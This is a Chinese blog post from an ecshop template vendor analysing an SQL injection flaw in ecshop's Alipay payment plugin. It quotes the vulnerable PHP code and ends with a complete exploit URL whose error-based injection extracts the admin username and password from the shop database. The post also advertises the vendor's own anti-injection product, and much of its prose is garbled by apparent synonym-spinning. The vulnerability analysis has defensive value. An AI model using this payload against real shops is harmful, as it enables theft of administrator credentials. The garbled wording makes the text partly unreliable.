Ecshop模板网
首页 > ecshop教程 > ecshop经验分享 > ecshop支付宝注入漏洞分析
文章详情

ecshop支付宝注入漏洞分析

ecshop模板网 / 2013-02-25

360独家原创,发现到支付宝漏洞,马上铺天盖地,到处都在宣传,可谓360的营销策略很彪悍。这里ecshop模板网告诫大家, 发现漏洞,不用多担心!采用ecshop我们独立开发的防注入系统,出现漏洞也不怕。 目前所有商业整站,全部都已升级上防注入功能。

这里总结下该漏洞。因为缝隙源于ecshop的付出宝付出插件,一切使用条件是站点装置此插件,使用不受GPC影响。缝隙中心代码在\includes\modules\payment\alipay.php 文件 respond()函数,第215行。

 

function respond()    {

        if (!empty($_POST))

        {

            foreach($_POST as $key => $data)

            {

                $_GET[$key] = $data;

            }

        }

        $payment  = get_payment($_GET['code']);

        $seller_email = rawurldecode($_GET['seller_email']);

        $order_sn = str_replace($_GET['subject'], '', $_GET['out_trade_no']);

        $order_sn = trim($order_sn);          

        /* 检查支付的金额是否相符 */

        if (!check_money($order_sn, $_GET['total_fee']))

        {

$order_sn变量由str_replace($_GET['subject'], ”, $_GET['out_trade_no']);操控,咱们能够经过$_GET['subject']参数来替换掉$_GET['out_trade_no']参数里边的反斜杠\。
结尾$order_sn被带入check_money()函数。咱们跟进看一下
 
在include\lib_payment.php文件中109行.
functioncheck_money($log_id,$money){$sql='SELECT order_amount FROM '.$GLOBALS['ecs']->table('pay_log')." WHERE log_id = '$log_id'";$amount=$GLOBALS['db']->getOne($sql);if($money==$amount){/*----省略----*/

原来的$order_sn被带入了数据库。

 

调用respond()函数的文件是respond.php,所以要在respond.php文件使用。

结尾使用EXP:

http://localhost/ecshop/respond.php?code=alipay&subject=0&out_trade_no=%00′ and (sel ect * from (sel ect count(*),concat(floor(rand(0)*2),(sel ect concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b) — By ecshop.co/

下一篇: 屏蔽ecshop云提示no_license 上一篇: ecshop任意网址跳转漏洞如何修补
 用户评论(共 0 条评论)
  • 暂时还没有任何用户评论
用户名: 匿名用户 E-mail:
当前心情:
评论内容:
验证码: captcha
返回顶部 返回首页
 
QQ在线咨询
售前电话热线
#
售前QQ客服